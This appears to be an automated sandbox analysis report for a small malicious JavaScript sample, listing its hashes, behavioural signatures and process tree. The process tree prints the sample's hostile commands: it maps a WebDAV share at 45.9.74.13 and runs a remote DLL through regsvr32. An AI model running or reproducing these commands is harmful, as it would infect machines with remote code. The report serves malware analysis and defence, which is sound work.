Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
10/07/2024, 07:09
Static task
static1
Behavioral task
behavioral1
Sample
28580163041917418022.js
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
28580163041917418022.js
Resource
win10v2004-20240709-en
General
-
Target
28580163041917418022.js
-
Size
5KB
-
MD5
9ffc01f7c534e3e907049578fe7651e2
-
SHA1
9603aa76bea7ca7453b94fc341f2be9db58c4d30
-
SHA256
761ae16250435dd4652fc4103ac4910ac6f5db76ba67261412ecd1748e0820b7
-
SHA512
836ad329eab9b0e1704e63343626c034bb7163e3f04059409225fa98d27de6db57df02a10f745c577f25c99f2ed88cbc111cba72fed8cb17f9ac3f26773d7056
-
SSDEEP
96:aw5VIa+RNPPpmaQa+RNPPpmnoZyNfoxIOfe0PO/nPOt5ZH0kS:54PPxSPPT8Jolfe0MPc5ZUkS
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 920 wrote to memory of 4856 920 wscript.exe 83 PID 920 wrote to memory of 4856 920 wscript.exe 83 PID 4856 wrote to memory of 4688 4856 cmd.exe 86 PID 4856 wrote to memory of 4688 4856 cmd.exe 86 PID 4856 wrote to memory of 5084 4856 cmd.exe 87 PID 4856 wrote to memory of 5084 4856 cmd.exe 87
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\28580163041917418022.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\28580163041917418022.js" "C:\Users\Admin\\mtlnfg.bat" && "C:\Users\Admin\\mtlnfg.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4856 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:4688
-
-
C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\648.dll3⤵PID:5084
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD59ffc01f7c534e3e907049578fe7651e2
SHA19603aa76bea7ca7453b94fc341f2be9db58c4d30
SHA256761ae16250435dd4652fc4103ac4910ac6f5db76ba67261412ecd1748e0820b7
SHA512836ad329eab9b0e1704e63343626c034bb7163e3f04059409225fa98d27de6db57df02a10f745c577f25c99f2ed88cbc111cba72fed8cb17f9ac3f26773d7056